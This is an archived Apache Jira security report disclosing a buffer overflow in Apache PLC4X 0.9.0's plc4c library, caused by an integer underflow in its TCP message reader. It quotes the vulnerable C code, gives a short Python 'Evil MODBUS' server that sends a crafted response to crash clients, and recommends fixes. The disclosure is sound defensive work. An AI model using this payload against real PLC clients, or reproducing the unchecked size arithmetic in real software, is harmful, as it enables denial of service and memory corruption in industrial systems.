You are viewing a plain text version of this content. The canonical link for it is here.
Posted to issues@plc4x.apache.org by "Eugene Lim (Jira)" <ji...@apache.org> on 2021/10/28 13:56:00 UTC
[jira] [Created] (PLC4X-320) [Security Vulnerability] Apache PLC4X
0.90 Buffer Overflow in plc4c via Crafted Server Response
Eugene Lim created PLC4X-320:
--------------------------------
Summary: [Security Vulnerability] Apache PLC4X 0.90 Buffer Overflow in plc4c via Crafted Server Response
Key: PLC4X-320
URL: https://issues.apache.org/jira/browse/PLC4X-320
Project: Apache PLC4X
Issue Type: Bug
Components: PLC4C
Affects Versions: 0.9.0
Reporter: Eugene Lim
Attachments: poc.png
## Summary
The `plc4c_transport_tcp_select_message_function` method in `plc4c` suffers from an unsigned integer underflow, resulting in an overly-large `recv` into a fixed buffer that causes a buffer overflow and overwrites arbitrary memory.
## Root Cause
`plc4c` uses the `plc4c_transport_tcp_select_message_function` function to read incoming responses from servers. It calculates a `int16_t message_size` based on the selected protocol's `accept_message` handler, then allocates memory of size `message_size`. It then `recv`s `message_size - min_size` bytes of memory into the allocated memory. Due to lack of validation, `min_size` can be larger than `message_size`, leading to an unsigned integer underflow that causes an overly-large memory write into the buffer. This affects both the MODBUS and S7 handlers.
For example, the MODBUS `plc4c_driver_modbus_receive_packet` function executes:
```
plc4c_return_code return_code = connection->transport->select_message(
connection->transport_configuration, 6,
plc4c_driver_modbus_select_message_function, &read_buffer);
```
This passes on the argument `min_size = 6` to:
```
plc4c_return_code plc4c_transport_tcp_select_message_function(
void* transport_configuration, uint8_t min_size,
accept_message_function accept_message, plc4c_spi_read_buffer** message) {
plc4c_transport_tcp_config* tcp_config = transport_configuration;
// First try to read the minimum number of bytes the driver needs to know
// how big a packet is.
uint8_t* size_buffer = malloc(sizeof(uint8_t) * min_size);
if(size_buffer == NULL) {
return NO_MEMORY;
}
int received_bytes = recv(tcp_config->sockfd, size_buffer, min_size, 0);
// TODO: if the value is negative, it's more a "please remove this much of corrupt data" ...
if(received_bytes < 0) {
return CONNECTION_ERROR;
}
// Now that we have enough data to find out how many bytes we need, have
// the accept_message function find out how many
int16_t message_size = accept_message(size_buffer, min_size);
if(message_size < 0) {
return INTERNAL_ERROR;
}
uint8_t* message_buffer = malloc(sizeof(uint8_t) * message_size);
if(message_size < 0) {
return NO_MEMORY;
}
// Copy the size_buffer to the start of the new buffer.
memcpy(message_buffer, size_buffer, min_size);
free(size_buffer);
// Read the rest of the packet.
received_bytes = recv(tcp_config->sockfd, message_buffer + min_size, message_size - min_size, 0);
if(received_bytes != message_size - min_size) {
return CONNECTION_ERROR;
}
// Create a new read-buffer with the read message data.
plc4c_spi_read_buffer_create(message_buffer, message_size, message);
// TODO: leaks: message_buffer
return OK;
}
```
For MODBUS, `plc4c_driver_modbus_select_message_function` simply returns an `int16_t` value from the first 6 bytes of the server's response:
```
int16_t plc4c_driver_modbus_select_message_function(uint8_t* buffer_data,
uint16_t buffer_length) {
// The length information is located in bytes 5 and 6
if (buffer_length >= 6) {
uint16_t packet_length =
((uint16_t)*(buffer_data + 4) << 8) | ((uint16_t)*(buffer_data + 5));
packet_length += 6;
return packet_length;
}
// In all other cases, we'll just have to wait for the next time.
return 0;
}
```
In this case, if the first 6 bytes are `b'\xff\xff\xff\xff\xff\xfb'`, the conversion from `uint16_t packet_length` to `int16_t message_size` results in a value of `1`.
Since `min_size` is fixed at `6`, `message_size - min_size` underflows to `4294967291`, while the `message_buffer` that is allocated is only of size `1`. The following `recv(tcp_config->sockfd, message_buffer + min_size, message_size - min_size, 0);` results in the buffer overflow.
## Proof of Concept
To reproduce this vulnerability, run the following Python script to start an "Evil MODBUS" server:
```
import socket
from struct import pack, unpack
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('localhost', 502))
s.listen()
conn, addr = s.accept()
with conn:
print('Connected by', addr)
data = conn.recv(1024)
print("Received: {}".format(data))
conn.send(b'\xff\xff\xff\xff\xff\xfb' + b'A' * 50000)
data = conn.recv(1024)
print("Received: {}".format(data))
input("Press Enter to close socket...")
conn.close()
```
Once started, modify the `hello_world_modbus.c` code to use `127.0.0.1` in the `plc4c_system_connect` function. Build the binary, then execute it. It should connect to your evil server and trigger the overflow, resulting in a `malloc(): corrupted top size` segfault, thus demonstrating the buffer overflow.
## Recommendations
Add proper type conversions between `packet_length` and `message_size`; instead of `int16_t` perhaps `message_size` should be `uint16_t`. Furthermore, add a sanity check that `message_size >= min_size`.
## Credits
Please credit Eugene Lim, Government Technology Agency of Singapore. Thank you!
--
This message was sent by Atlassian Jira
(v8.3.4#803005)